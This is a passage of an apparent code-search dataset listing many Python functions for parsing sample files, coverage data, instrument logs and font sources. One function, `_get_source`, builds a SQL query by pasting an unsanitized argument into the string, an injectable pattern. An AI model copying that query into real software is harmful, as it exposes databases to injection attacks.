checksum=None):\n super(SampleFile, self).__init__(sample_path, file_checksum=checksum)\n self.sample_name = sample_name\n self.sample_index = sample_index\n self.lane_no = lane_no\n self.read_no = read_no\n self.is_index = is_index","def read(self, inputfile):\n infile = open(inputfile, 'r')\n if (inputfile.lower().endswith('.po')):\n self.read_po(infile)\n elif (inputfile.lower().endswith('.json')):\n self.read_json(infile)\n elif (inputfile.lower().endswith('.xml')):\n self.read_properties(infile)\n infile.close()","def ParseFile(self, filepath):\n self.Logger.debug(\"Parsing file: %s\" % filepath)\n if (not os.path.isabs(filepath)):\n fp = self.FindPath(filepath)\n else:\n fp = filepath\n self.Path = fp\n f = open(fp, \"r\")\n self.Lines = f.readlines()\n f.close()\n InDefinesSection = False\n InPackagesSection = False\n InLibraryClassSection = False\n InProtocolsSection = False\n InGuidsSection = False\n InPpiSection = False\n InPcdSection = False\n InSourcesSection = False\n InBinariesSection = False\n\n for line in self.Lines:\n sline = self.StripComment(line)\n\n if (sline is None or len(sline) < 1):\n continue\n\n if InDefinesSection:\n if sline.strip()[0] == '[':\n InDefinesSection = False\n else:\n if sline.count(\"=\") == 1:\n tokens = sline.split('=', 1)\n self.Dict[tokens[0].strip()] = tokens[1].strip()\n #\n # Parse Library class and phases in special manor\n #\n if (tokens[0].strip().lower() == \"library_class\"):\n self.LibraryClass = tokens[1].partition(\"|\")[0].strip()\n self.Logger.debug(\"Library class found\")\n if (len(tokens[1].partition(\"|\")[2].strip()) < 1):\n self.SupportedPhases = AllPhases\n elif (tokens[1].partition(\"|\")[2].strip().lower() == \"base\"):\n self.SupportedPhases = AllPhases\n else:\n self.SupportedPhases = tokens[1].partition(\"|\")[2].strip().split()\n\n self.Logger.debug(\"Key,values found: %s = %s\" % (tokens[0].strip(), tokens[1].strip()))\n\n continue\n\n elif InPackagesSection:\n if sline.strip()[0] == '[':\n InPackagesSection = False\n else:\n self.PackagesUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InLibraryClassSection:\n if sline.strip()[0] == '[':\n InLibraryClassSection = False\n else:\n self.LibrariesUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InProtocolsSection:\n if sline.strip()[0] == '[':\n InProtocolsSection = False\n else:\n self.ProtocolsUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InGuidsSection:\n if sline.strip()[0] == '[':\n InGuidsSection = False\n else:\n self.GuidsUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InPcdSection:\n if sline.strip()[0] == '[':\n InPcdSection = False\n else:\n self.PcdsUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InPpiSection:\n if sline.strip()[0] == '[':\n InPpiSection = False\n else:\n self.PpisUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InSourcesSection:\n if sline.strip()[0] == '[':\n InSourcesSection = False\n else:\n self.Sources.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InBinariesSection:\n if sline.strip()[0] == '[':\n InBinariesSection = False\n else:\n self.Binaries.append(sline.partition(\"|\")[0].strip())\n continue\n\n # check for different sections\n if sline.strip().lower().startswith('[defines'):\n InDefinesSection = True\n\n elif sline.strip().lower().startswith('[packages'):\n InPackagesSection = True\n\n elif sline.strip().lower().startswith('[libraryclasses'):\n InLibraryClassSection = True\n\n elif sline.strip().lower().startswith('[protocols'):\n InProtocolsSection = True\n\n elif sline.strip().lower().startswith('[ppis'):\n InPpiSection = True\n\n elif sline.strip().lower().startswith('[guids'):\n InGuidsSection = True\n\n elif sline.strip().lower().startswith('[pcd') or \\\n sline.strip().lower().startswith('[patchpcd') or \\\n sline.strip().lower().startswith('[fixedpcd') or \\\n sline.strip().lower().startswith('[featurepcd'):\n InPcdSection = True\n\n elif sline.strip().lower().startswith('[sources'):\n InSourcesSection = True\n\n elif sline.strip().lower().startswith('[binaries'):\n InBinariesSection = True\n\n # Create scoped_library_dict\n current_section = \"\"\n arch = \"\"\n\n for line in self.Lines:\n match = self.SECTION_REGEX.match(line)\n\n if line.strip() == \"\":\n continue\n\n if line.strip().startswith(\"#\"):\n continue\n\n # Match the current section we are in\n if match:\n section = match.group(1)\n section = section.lower()\n\n # A Library section\n if section.startswith(self.SECTION_LIBRARY):\n if section.count(\".\") == 1:\n current_section, arch = tuple(section.split(\".\"))\n else:\n current_section, arch = (section, \"common\")\n # Some other section\n else:\n current_section = \"\"\n arch = \"\"\n continue\n\n # Handle lines when we are in a library section\n if current_section == self.SECTION_LIBRARY:\n if arch in self.ScopedLibraryDict:\n self.ScopedLibraryDict[arch].append(line.split()[0].strip())\n else:\n self.ScopedLibraryDict[arch] = [line.split()[0].strip()]\n self.Parsed = True","def test_sample_type(self):\r\n \r\n self.assertEqual(self.test_sample.sampleType, 'TUMOUR')","def sample_file(self, sample_file: str):\n\n self._sample_file = sample_file","def _read_input_file(self):\n pass","def test_parse_sample_file(self):\n parser = wv2_xml.Parser(\n 'imars_etl/drivers_metadata/wv2_xml/test_files/'\n 'WV02_20140218163417_103001002E0EB600_14FEB18163417-M1BS-'\n '500534956040_01_P004.xml'\n )\n metadata_read = parser.get_metadata()\n print('md: {}'.format(metadata_read))\n expected_subset = {\n \"time\": \"2014-02-18T16:34:17.926650\"\n }\n\n assert expected_subset.items() <= metadata_read.items()","def _read_sample_data(self):\n def _read_tab(pth):\n \"\"\"\n Internal read table function\n\n :param str pth: absolute path to the file to read\n :return pandas.DataFrame: table object\n \"\"\"\n if not os.path.exists(pth):\n raise SampleTableFileException(\n \"File does not exist: {}\".format(pth))\n read_csv_kwargs = {\"engine\": \"python\", \"dtype\": str,\n \"index_col\": False, \"keep_default_na\": False,\n \"na_values\": [\"\"]}\n return pd.read_csv(pth, sep=infer_delimiter(pth), **read_csv_kwargs)\n\n no_metadata_msg = \"No {} specified\"\n if CONFIG_KEY not in self:\n _LOGGER.warning(\"No config key in Project\")\n return\n if CFG_SAMPLE_TABLE_KEY not in self[CONFIG_KEY]:\n _LOGGER.debug(\"no {} found\".format(CFG_SAMPLE_TABLE_KEY))\n return\n st = self[CONFIG_KEY][CFG_SAMPLE_TABLE_KEY]\n if st:\n self[SAMPLE_DF_KEY] = _read_tab(st)\n else:\n _LOGGER.warning(no_metadata_msg.format(CFG_SAMPLE_TABLE_KEY))\n self[SAMPLE_DF_KEY] = None\n if CFG_SUBSAMPLE_TABLE_KEY in self[CONFIG_KEY]:\n if self[CONFIG_KEY][CFG_SUBSAMPLE_TABLE_KEY] is not None:\n sst = make_list(self[CONFIG_KEY][CFG_SUBSAMPLE_TABLE_KEY], str)\n self[SUBSAMPLE_DF_KEY] = [_read_tab(x) for x in sst]\n else:\n _LOGGER.debug(no_metadata_msg.format(CFG_SUBSAMPLE_TABLE_KEY))\n self[SUBSAMPLE_DF_KEY] = None","def _parseFileHeader(self):\n self.fileheader = FileHeader()\n self.fileheader.parse(self.f)\n #print('Parsed fileheader')"],"string":"[\n \"def parse_source_file(self, filepath):\\n raise NotImplementedError('Not Implemented')\",\n \"def parse(source, *, filename=\\\"[STRING]\\\", typecheck=True):\\n return _Parser(filename, source, typecheck).parse()\",\n \"def parse_file(self, source):\\n # If this is a file-like object, we should be able to read it.\\n try:\\n raw_data = source.read()\\n except AttributeError:\\n # This raises FileNotFoundError if the file doesn't exist.\\n with open(source) as source_obj:\\n raw_data = source_obj.read()\\n\\n # Parse the data in string format.\\n return self.parse_string(raw_data)\",\n \"def from_file(cls, file, sample_type, sample_location, sample_set, person,\\n projects=None, sep='\\\\t'):\\n # check if we are given barcodes or not and set accordingly\\n barcodes = False\\n barcode_pos = 1\\n header = file.readline().strip().split(sep)\\n if len(header) > 1 and 'barcode'in header:\\n barcodes = True\\n barcode_pos = header.index('barcode')\\n\\n # This just wraps create for each sample so we get all the checks\\n # from create but can add multiple samples at a time\\n count = 0\\n for line in file:\\n line = line.strip()\\n info = line.split(sep) if barcodes else [line, None]\\n cls.create(info[0], sample_type, sample_location, sample_set,\\n person, projects=None, barcode=info[barcode_pos])\\n count += 1\\n return count\",\n \"def _parse_file(self, file_obj, sample_id, data_type) -> pd.Series:\\n sample_data = pd.read_csv(file_obj, sep=\\\"\\\\t\\\", low_memory=False)\\n\\n # Filter mutations if specified\\n if self.geneset:\\n out = sample_data.loc[sample_data[\\\"Gene_Name\\\"].isin(self.geneset)]\\n if out.empty:\\n out = sample_data.loc[sample_data[\\\"Feature_ID\\\"].isin(self.geneset)]\\n\\n sample_data = out\\n\\n # Construct index\\n sample_data[\\\"index\\\"] = sample_data.apply(\\n self._construct_index, axis=1, result_type=\\\"reduce\\\"\\n )\\n sample_data.set_index(\\\"index\\\", inplace=True)\\n sample_data.index.name = None\\n\\n if data_type == self.VARIANTS:\\n s = sample_data.apply(self._encode_mutation, axis=1, result_type=\\\"reduce\\\")\\n elif data_type == self.DEPTH:\\n # Depth, as computed by GATK is reported by \\\"DP\\\" column\\n s = sample_data[\\\"Total_depth\\\"]\\n elif data_type == self.DEPTH_A:\\n s = sample_data[\\\"Base_A\\\"]\\n elif data_type == self.DEPTH_C:\\n s = sample_data[\\\"Base_C\\\"]\\n elif data_type == self.DEPTH_G:\\n s = sample_data[\\\"Base_G\\\"]\\n elif data_type == self.DEPTH_T:\\n s = sample_data[\\\"Base_T\\\"]\\n elif data_type == self.FILTER:\\n s = sample_data[\\\"FILTER\\\"]\\n\\n s.name = sample_id\\n\\n # Sometimes mutations_table.tsv to contains duplicate variants\\n # For now, keep the first one and drop the rest of them.\\n s = s[~s.index.duplicated(keep=\\\"first\\\")]\\n\\n return s\",\n \"def parse_file(self):\\n # the header was already read in the init, start at the first sample line\\n\\n for line in self._stream_handle:\\n\\n # create the dictionary of key/value pairs composed of the labels and the values from the\\n # record being parsed\\n # ex: data_dict = {'sci_bsipar_temp':10.67, n1, n2, nn}\\n data_dict = self._read_data(line)\\n\\n if GliderParser._has_science_data(data_dict, self._particle_class):\\n # create the timestamp\\n timestamp = ntplib.system_to_ntp_time(float(data_dict[GliderParticleKey.M_PRESENT_TIME]))\\n # create the particle\\n self._record_buffer.append(self._extract_sample(\\n self._particle_class, None, data_dict, internal_timestamp=timestamp))\",\n \"def _get_source(self, tipo):\\n\\n if self._match_array(tipo, self.c_array_types):\\n tipo = tipo.strip()[:-4]\\n db = Database()\\n query = \\\"SELECT type_source FROM types WHERE type_name = '\\\" + tipo + \\\"' ORDER BY type_id\\\"\\n self.source_file = list(db.execute_query(query))\\n if self.source_file: # Validacion por si la query no encontro valores\\n self.source_file = self.source_file[0][0]\\n db.close_connection()\",\n \"def _parse_source_model_file(source_model_file):\\n parse_args = dict(source=source_model_file)\\n\\n srcs = []\\n for _, element in etree.iterparse(**parse_args):\\n if element.tag == NRML04_POINT_SOURCE.text:\\n srcs.append(_parse_point_source(element))\\n if element.tag == NRML04_AREA_SOURCE.text:\\n srcs.append(_parse_area_source(element))\\n\\n return srcs\",\n \"def parse_file(self):\\n # read the first line in the file\\n line = self._stream_handle.readline()\\n\\n while line:\\n # check for a data line or a dcl logger line we specifically ignore\\n data_match = DATA_LINE_MATCHER.match(line)\\n ignore_match = IGNORE_LINE_MATCHER.match(line)\\n\\n if data_match:\\n # found a data line, extract this particle\\n # DCL controller timestamp is the port_timestamp\\n dcl_controller_timestamp = data_match.groups()[DCL_TIMESTAMP_GROUP]\\n port_timestamp = dcl_time_to_ntp(dcl_controller_timestamp)\\n\\n particle = self._extract_sample(self.particle_class,\\n None,\\n data_match,\\n port_timestamp=port_timestamp,\\n preferred_ts=DataParticleKey.PORT_TIMESTAMP)\\n\\n self._record_buffer.append(particle)\\n\\n elif not ignore_match:\\n # we found a line with an unknown format, call an exception\\n error_message = 'Found line with unknown format %s' % line\\n log.warn(error_message)\\n self._exception_callback(SampleException(error_message))\\n\\n # read the next line\\n line = self._stream_handle.readline()\",\n \"def get_source_type(import_file, source_type=''):\\n\\n # TODO: move source_type to a database lookup. Right now it is hard coded\\n source_type_str = getattr(import_file, 'source_type', '') or ''\\n source_type_str = source_type or source_type_str\\n source_type_str = source_type_str.upper().replace(' ', '_')\\n\\n return getattr(models, source_type_str, ASSESSED_RAW)\",\n \"def _extract_sample(self, line, publish=True):\\n sample = None\\n match = self._sample_regex.match(line)\\n if match:\\n sample = {}\\n sample['t'] = [float(match.group(1))]\\n sample['c'] = [float(match.group(2))]\\n sample['p'] = [float(match.group(3))]\\n\\n # Driver timestamp.\\n sample['time'] = [time.time()]\\n sample['stream_name'] = 'ctd_parsed'\\n\\n if self._driver_event:\\n self._driver_event(DriverAsyncEvent.SAMPLE, sample)\\n\\n return sample\",\n \"def _parse(self, infile):\\n raise NotImplementedError()\",\n \"def _parse_source(self, src, python_version):\\n f = moves.StringIO(src)\\n defs_start = None\\n open_type_comment_set = _TypeCommentSet.start(1)\\n open_decorator = False\\n last_function_definition = None\\n open_variable_annotation = None\\n for token in tokenize.generate_tokens(f.readline):\\n tok = token.exact_type\\n line = token.line\\n lineno, col = token.start\\n\\n # Check for the first line with a top-level class or function definition.\\n if defs_start is None and _CLASS_OR_FUNC_RE.match(line):\\n defs_start = lineno\\n\\n # Process the token for decorators, function definitions, and comments.\\n if tok == tokenize.AT:\\n if _DECORATOR_RE.match(line):\\n open_decorator = True\\n elif tok == tokenize.NAME:\\n if open_decorator and token.string in (\\\"class\\\", \\\"def\\\"):\\n self.decorators.add(lineno)\\n open_decorator = False\\n if token.string == \\\"def\\\":\\n last_function_definition = _FunctionDefinition.start(lineno)\\n elif tok == tokenize.COMMENT:\\n self._process_comment(line, lineno, col, open_type_comment_set)\\n elif tok == tokenize.LPAR:\\n if last_function_definition:\\n last_function_definition.add_lpar(lineno)\\n elif tok == tokenize.RPAR:\\n if last_function_definition:\\n last_function_definition.add_rpar(lineno)\\n elif tok in (tokenize.NEWLINE, tokenize.ENDMARKER):\\n if open_type_comment_set.type_comments:\\n open_type_comment_set.end_line = lineno\\n self._type_comments.append(open_type_comment_set)\\n open_type_comment_set = _TypeCommentSet.start(lineno + 1)\\n\\n # Process the token for variable annotations.\\n if last_function_definition and last_function_definition.contains(lineno):\\n pass # ignore function annotations\\n elif not open_variable_annotation:\\n open_variable_annotation = _VariableAnnotation.start(lineno, token)\\n elif tok in (tokenize.NEWLINE, tokenize.SEMI):\\n # NEWLINE indicates the end of a *logical* line of Python code, allowing\\n # us to handle annotations split over multiple lines.\\n annotation = open_variable_annotation.annotation\\n if annotation and open_variable_annotation.closed:\\n # In 3.8+, the STORE_* opcode for a multiline variable assignment is\\n # at the first line in the assignment; before that, it is at the last.\\n if python_version >= (3, 8):\\n assert open_variable_annotation.start_lineno\\n annotation_lineno = open_variable_annotation.start_lineno\\n else:\\n annotation_lineno = lineno\\n self._variable_annotations[annotation_lineno] = annotation\\n open_variable_annotation = None\\n else:\\n open_variable_annotation.add_token(lineno, token)\\n\\n # Record docstrings.\\n if _DOCSTRING_RE.match(line):\\n self._docstrings.add(lineno)\\n\\n if defs_start is not None:\\n disables = list(self._disables.items())\\n # Add \\\"# type: ignore\\\" to the list of disables that we check.\\n disables.append((\\\"Type checking\\\", self._ignore))\\n for name, lineset in disables:\\n lineno = lineset.get_disable_after(defs_start)\\n if lineno is not None:\\n self._errorlog.late_directive(self._filename, lineno, name)\",\n \"def parse(self, infile):\\r\\n raise NotImplementedError()\",\n \"def parse(self):\\n\\n coverage_data = {\\n 'packages': {},\\n 'summary': {'lines-total': 0, 'lines-covered': 0,\\n 'branches-total': 0, 'branches-covered': 0},\\n 'timestamp': str(int(time.time()))\\n }\\n package = None\\n current_file = None\\n file_lines_total = 0\\n file_lines_covered = 0\\n file_lines = {}\\n file_methods = {}\\n file_branches_total = 0\\n file_branches_covered = 0\\n\\n for line in self.lcov_data.split('\\\\n'):\\n if line.strip() == 'end_of_record':\\n if current_file is not None:\\n package_dict = coverage_data['packages'][package]\\n package_dict['lines-total'] += file_lines_total\\n package_dict['lines-covered'] += file_lines_covered\\n package_dict['branches-total'] += file_branches_total\\n package_dict['branches-covered'] += file_branches_covered\\n file_dict = package_dict['classes'][current_file]\\n file_dict['lines-total'] = file_lines_total\\n file_dict['lines-covered'] = file_lines_covered\\n file_dict['lines'] = dict(file_lines)\\n file_dict['methods'] = dict(file_methods)\\n file_dict['branches-total'] = file_branches_total\\n file_dict['branches-covered'] = file_branches_covered\\n coverage_data['summary']['lines-total'] += file_lines_total\\n coverage_data['summary']['lines-covered'] += file_lines_covered\\n coverage_data['summary']['branches-total'] += file_branches_total\\n coverage_data['summary']['branches-covered'] += file_branches_covered\\n\\n line_parts = line.split(':')\\n input_type = line_parts[0]\\n\\n if input_type == 'SF':\\n # Get file name\\n file_name = line_parts[-1].strip()\\n relative_file_name = os.path.relpath(file_name, self.base_dir)\\n package = '.'.join(relative_file_name.split(os.path.sep)[0:-1])\\n class_name = file_name.split(os.path.sep)[-1]\\n if package not in coverage_data['packages']:\\n coverage_data['packages'][package] = {\\n 'classes': {}, 'lines-total': 0, 'lines-covered': 0,\\n 'branches-total': 0, 'branches-covered': 0\\n }\\n coverage_data['packages'][package]['classes'][\\n relative_file_name] = {\\n 'name': class_name, 'lines': {}, 'lines-total': 0,\\n 'lines-covered': 0, 'branches-total': 0,\\n 'branches-covered': 0\\n }\\n package = package\\n current_file = relative_file_name\\n file_lines_total = 0\\n file_lines_covered = 0\\n file_lines.clear()\\n file_methods.clear()\\n file_branches_total = 0\\n file_branches_covered = 0\\n elif input_type == 'DA':\\n # DA:2,0\\n (line_number, line_hits) = line_parts[-1].strip().split(',')\\n line_number = int(line_number)\\n if line_number not in file_lines:\\n file_lines[line_number] = {\\n 'branch': 'false', 'branches-total': 0,\\n 'branches-covered': 0\\n }\\n file_lines[line_number]['hits'] = line_hits\\n # Increment lines total/covered for class and package\\n if int(line_hits) > 0:\\n file_lines_covered += 1\\n file_lines_total += 1\\n elif input_type == 'BRDA':\\n # BRDA:1,1,2,0\\n (line_number, block_number, branch_number, branch_hits) = line_parts[-1].strip().split(',')\\n line_number = int(line_number)\\n if line_number not in file_lines:\\n file_lines[line_number] = {\\n 'branch': 'true', 'branches-total': 0,\\n 'branches-covered': 0, 'hits': 0\\n }\\n file_lines[line_number]['branch'] = 'true'\\n file_lines[line_number]['branches-total'] += 1\\n file_branches_total += 1\\n if branch_hits != '-' and int(branch_hits) > 0:\\n file_lines[line_number]['branches-covered'] += 1\\n file_branches_covered += 1\\n elif input_type == 'BRF':\\n file_branches_total = int(line_parts[1])\\n elif input_type == 'BRH':\\n file_branches_covered = int(line_parts[1])\\n elif input_type == 'FN':\\n # FN:5,(anonymous_1)\\n function_name = line_parts[-1].strip().split(',')[1]\\n function_name = self.demangle_function_name(function_name)\\n file_methods[function_name] = '0'\\n elif input_type == 'FNDA':\\n # FNDA:0,(anonymous_1)\\n (function_hits, function_name) = line_parts[-1].strip().split(',')\\n function_name = self.demangle_function_name(function_name)\\n file_methods[function_name] = function_hits\\n\\n # Exclude packages\\n excluded = [x for x in coverage_data['packages'] for e in self.excludes\\n if re.match(e, x)]\\n for package in excluded:\\n del coverage_data['packages'][package]\\n\\n # Compute line coverage rates\\n for package_data in list(coverage_data['packages'].values()):\\n package_data['line-rate'] = self._percent(\\n package_data['lines-total'],\\n package_data['lines-covered'])\\n package_data['branch-rate'] = self._percent(\\n package_data['branches-total'],\\n package_data['branches-covered'])\\n\\n return coverage_data\",\n \"def _parse(self):\\n\\n self.specification = {}\\n\\n while True:\\n try:\\n line = self._lines.current\\n if ':' in line:\\n self.specification.update(self._parse_spec())\\n elif line.startswith('TOUR_SECTION'):\\n next(self._lines)\\n self.tour = self._parse_tour()\\n else:\\n break\\n except StopIteration:\\n break\\n\\n del self._lines\\n\\n if 'TYPE' in self.specification and \\\\\\n self.specification['TYPE'] != 'TOUR':\\n raise TypeError('Unsupported TSPLib file type. Only TOUR type \\\\\\n is supported')\",\n \"def __parse_sample_name(self):\\n pattern = '(.*)(P53)(XR|NT)(\\\\d+)([A-Z]?|Ctr)?.*'\\n vals = re.findall(pattern, self.sample_name.replace('_', ''))[0]\\n self.cell_type = vals[0]\\n self.treatment_type = vals[2]\\n self.treatment_time = vals[3]\\n if vals[3]:\\n self.treatment_repeat = vals[4]\",\n \"def structure_parse(source):\\r\\n return structure_grammar().parseString(source)\",\n \"def process_source(pk_type, path, file_flag, out_path, skip_lines=None, encoding=\\\"utf-8\\\"):\\n if file_flag:\\n process_singles(pk_type, path, out_path, skip_lines, encoding)\\n else:\\n process_dirs(pk_type, path, out_path, skip_lines, encoding)\",\n \"def parse(self, file_path, type=None):\\n\\t\\treturn [Motif()]\",\n \"def _source_type(self):\\n pass\",\n \"def test_parse_file_source():\\n from bs4 import BeautifulSoup\\n from scraper import read_from_file, parse_source\\n content, encoding = read_from_file(TEST_FILE)\\n result = parse_source(content, encoding)\\n assert isinstance(result, BeautifulSoup)\",\n \"def __init__(self, file_pattern, validate=True, **nucleus_kwargs):\\n\\n super(ReadGenomicsFile, self).__init__()\\n self._source = self._source_class(\\n file_pattern, validate=validate, **nucleus_kwargs)\",\n \"def _validate_source(self, tipo):\\n\\n self.source_type = True\\n self._get_source(tipo)\\n return self.source_type\",\n \"def _parse_file_path(self, input_path):\\n pass\",\n \"def parse_seq_file(input_seq_file, seq_file_type):\\n if seq_file_type not in SEQ_FILE_TYPES:\\n msg = \\\"{} is not a supported input file type\\\".format(seq_file_type)\\n raise UnsupportedFileException(msg)\\n\\n is_gzed = input_seq_file.endswith(EXPECTED_GZ_EXTENSION)\\n\\n # a different opening function will be called based on whether the file has a gz extension\\n with OPENING_FUNCTIONS[is_gzed](input_seq_file) as input_fh:\\n for record in SeqIO.parse(input_fh, seq_file_type):\\n yield record.id, str(record.seq).upper()\",\n \"def _load(self):\\n op_type_file_path = os.path.join(\\n self._profiling_dir,\\n self._csv_file_to_analyse.format(self._device_id)\\n )\\n op_type_file_path = validate_and_normalize_path(\\n op_type_file_path, raise_key=\\\"Invalid op_type_file_path\\\")\\n if not os.path.isfile(op_type_file_path):\\n log.warning('The file <%s> does not exist.', op_type_file_path)\\n return\\n\\n with open(op_type_file_path, 'r') as file:\\n csv_reader = csv.reader(file)\\n _ = next(csv_reader)\\n for info in csv_reader:\\n self._data.append(self._convert_field_type(info))\",\n \"def main():\\n parse_file(sys.argv[1])\",\n \"def get_extracted_sequence(self, data_type, sample):\\n filename = sample[1]\\n path = os.path.join(self.sequence_path, filename + '-' + str(self.seq_length) + \\\\\\n '-' + data_type + '.npy')\\n if os.path.isfile(path):\\n return np.load(path)\\n else:\\n return None\",\n \"def main():\\n\\targuments_sent = sys.argv\\n\\tif len(arguments_sent) > 1:\\n\\t\\tfile_path = arguments_sent[1]\\n\\t\\tprocess_based_on_type(file_path)\",\n \"def read_file(path, source):\\n if source == 'srim':\\n return read_srim(path)\\n elif source == 'astar':\\n return read_astar(path)\\n else:\\n raise ValueError('Unknown data source {}'.format(source))\",\n \"def readSources(self):\\n for sourceCount, sourceElement in enumerate(self.root.findall(\\\".sources/source\\\")):\\n # shall we just read the UFO here?\\n filename = sourceElement.attrib.get('filename')\\n # filename is a path relaive to the documentpath. resolve first.\\n sourcePath = os.path.abspath(os.path.join(os.path.dirname(self.path), filename))\\n sourceName = sourceElement.attrib.get('name')\\n if sourceName is None:\\n # if the source element has no name attribute\\n # (some authoring tools do not need them)\\n # then we should make a temporary one. We still need it for reference.\\n sourceName = \\\"temp_master.%d\\\"%(sourceCount)\\n self.reportProgress(\\\"prep\\\", 'load', sourcePath)\\n if not os.path.exists(sourcePath):\\n raise MutatorError(\\\"Source not found at %s\\\"%sourcePath)\\n sourceObject = self._instantiateFont(sourcePath)\\n # read the locations\\n sourceLocationObject = None\\n sourceLocationObject = self.locationFromElement(sourceElement)\\n\\n if sourceLocationObject is None:\\n raise MutatorError(\\\"No location defined for source %s\\\"%sourceName)\\n\\n # read lib flag\\n for libElement in sourceElement.findall('.lib'):\\n if libElement.attrib.get('copy') == '1':\\n self.libSource = sourceName\\n\\n # read the groups flag\\n for groupsElement in sourceElement.findall('.groups'):\\n if groupsElement.attrib.get('copy') == '1':\\n self.groupsSource = sourceName\\n\\n # read the info flag\\n for infoElement in sourceElement.findall(\\\".info\\\"):\\n if infoElement.attrib.get('copy') == '1':\\n self.infoSource = sourceName\\n if infoElement.attrib.get('mute') == '1':\\n self.muted['info'].append(sourceName)\\n\\n # read the features flag\\n for featuresElement in sourceElement.findall(\\\".features\\\"):\\n if featuresElement.attrib.get('copy') == '1':\\n if self.featuresSource is not None:\\n self.featuresSource = None\\n else:\\n self.featuresSource = sourceName\\n\\n mutedGlyphs = []\\n for glyphElement in sourceElement.findall(\\\".glyph\\\"):\\n glyphName = glyphElement.attrib.get('name')\\n if glyphName is None:\\n continue\\n if glyphElement.attrib.get('mute') == '1':\\n if not sourceName in self.muted['glyphs']:\\n self.muted['glyphs'][sourceName] = []\\n self.muted['glyphs'][sourceName].append(glyphName)\\n\\n for kerningElement in sourceElement.findall(\\\".kerning\\\"):\\n if kerningElement.attrib.get('mute') == '1':\\n self.muted['kerning'].append(sourceName)\\n\\n # store\\n self.sources[sourceName] = sourceObject, sourceLocationObject\\n self.reportProgress(\\\"prep\\\", 'done')\",\n \"def _parse_file(cls, filepath):\\n hdus = sunpy.io.read_file(filepath)\\n return cls._parse_hdus(hdus)\",\n \"def sample_type(self, sample_type: str):\\n if sample_type is None:\\n raise ValueError(\\\"Invalid value for `sample_type`, must not be `None`\\\")\\n\\n self._sample_type = sample_type\",\n \"def sampleFile(self):\\n result = []\\n colCount = None\\n rowCounter = 0\\n\\n with open(self.file) as f:\\n reader = csv.reader(f, delimiter=self.delimiter,\\n quotechar=self.quoteChar)\\n for row in reader:\\n rowCounter += 1\\n\\n if colCount is None:\\n colCount = len(row)\\n else:\\n if colCount != len(row):\\n raise Exception(\\n \\\"Column count mismatch at row %d: (%d vs %d)\\\" %\\n (rowCounter, colCount, len(row)))\\n\\n if rowCounter == 1 and self.hasHeader:\\n self.columns = self.tidyColumns(row)\\n if self.lowercaseHeader:\\n self.columns = [x.lower() for x in self.columns]\\n continue\\n\\n if self.sampleProbability is None or random.random() <= self.sampleProbability:\\n result.append(row)\\n\\n self.fileSample = result\\n self.types = [None] * colCount\\n\\n if not self.hasHeader and not self.columns:\\n self.columns = [\\\"col\\\" + str(i) for i in list(range(colCount))]\",\n \"def __init__(self, source):\\n self.ntimepoints = None\\n self.timepoints = None\\n self.nsamples = None\\n self.channelids = []\\n self.data = []\\n self.samplingrate = None\\n\\n # open textfiles\\n if isinstance(source, str):\\n if source.endswith('.gz'):\\n externals.exists('gzip', raiseException=True)\\n import gzip\\n source = gzip.open(source, 'r')\\n else:\\n source = open(source, 'r')\\n\\n # read file\\n for line in source:\\n # split ID\\n colon = line.find(':')\\n\\n # ignore lines without id\\n if colon == -1:\\n continue\\n\\n id = line[:colon]\\n data = line[colon+1:].strip()\\n if id == 'Sample Number':\\n timepoints = N.fromstring(data, dtype=int, sep='\\\\t')\\n # one more as it starts with zero\\n self.ntimepoints = int(timepoints.max()) + 1\\n self.nsamples = int(len(timepoints) / self.ntimepoints)\\n elif id == 'Time':\\n self.timepoints = N.fromstring(data,\\n dtype=float,\\n count=self.ntimepoints,\\n sep='\\\\t')\\n self.samplingrate = self.ntimepoints \\\\\\n / (self.timepoints[-1] - self.timepoints[0])\\n else:\\n # load data\\n self.data.append(\\n N.fromstring(data, dtype=float, sep='\\\\t').reshape(\\n self.nsamples, self.ntimepoints))\\n # store id\\n self.channelids.append(id)\\n\\n # reshape data from (channels x samples x timepoints) to\\n # (samples x chanels x timepoints)\\n self.data = N.swapaxes(N.array(self.data), 0, 1)\",\n \"def loadHeaderSamplesFile(self, line):\\n try:\\n line.decode('ascii')\\n except UnicodeDecodeError as err:\\n raise\\n tokens = line.rstrip(\\\"\\\\n\\\").split(\\\"\\\\t\\\")\\n if len(tokens) < 12:\\n msg = \\\"header should have at least 12 tab-separated columns\\\"\\n raise ValueError(msg)\\n for idx,tok in enumerate(tokens):\\n if tok in self.samplesCol2idx:\\n self.samplesCol2idx[tok] = idx\\n for samplesCol,idx in self.samplesCol2idx.items():\\n if idx is None:\\n msg = \\\"column '%s' not found in samples file\\\" % samplesCol\\n raise ValueError(msg)\",\n \"def parse(source_code):\\n tokens = tokenize(source_code)\\n return read(tokens)\",\n \"def parse_file(self):\\n file_time = ''\\n num_dir = 0\\n num_freq = 0\\n freq_w_band = 0.0\\n freq_0 = 0.0\\n start_dir = 0.0\\n\\n dspec_matrix = []\\n\\n # Extract the file time from the file name\\n input_file_name = self._stream_handle.name\\n\\n match = FILE_NAME_MATCHER.match(input_file_name)\\n\\n if match:\\n file_time = match.group(1)\\n else:\\n error_message = 'Unable to extract file time from DSpec input file name: %s '\\\\\\n % input_file_name\\n log.warn(error_message)\\n self._exception_callback(RecoverableSampleException(error_message))\\n\\n # read the first line in the file\\n line = self._stream_handle.readline()\\n\\n # loop over all lines in the data file\\n while line:\\n\\n if EMPTY_LINE_MATCHER.match(line):\\n # ignore blank lines, do nothing\\n pass\\n\\n elif HEADER_MATCHER.match(line):\\n\\n # we need header records to extract useful information\\n for matcher in HEADER_MATCHER_LIST:\\n header_match = matcher.match(line)\\n\\n if header_match is not None:\\n\\n # Look for specific header lines and extract header fields\\n if matcher is DIR_FREQ_MATCHER:\\n num_dir = int(header_match.group(1))\\n num_freq = int(header_match.group(2))\\n\\n elif matcher is FREQ_BAND_MATCHER:\\n freq_w_band = header_match.group(1)\\n freq_0 = header_match.group(2)\\n\\n elif matcher is START_DIR_MATCHER:\\n start_dir = header_match.group(1)\\n\\n else:\\n #ignore\\n pass\\n\\n elif DSPEC_DATA_MATCHER.match(line):\\n\\n # Extract a row of the Directional Surface Spectrum matrix\\n sensor_match = 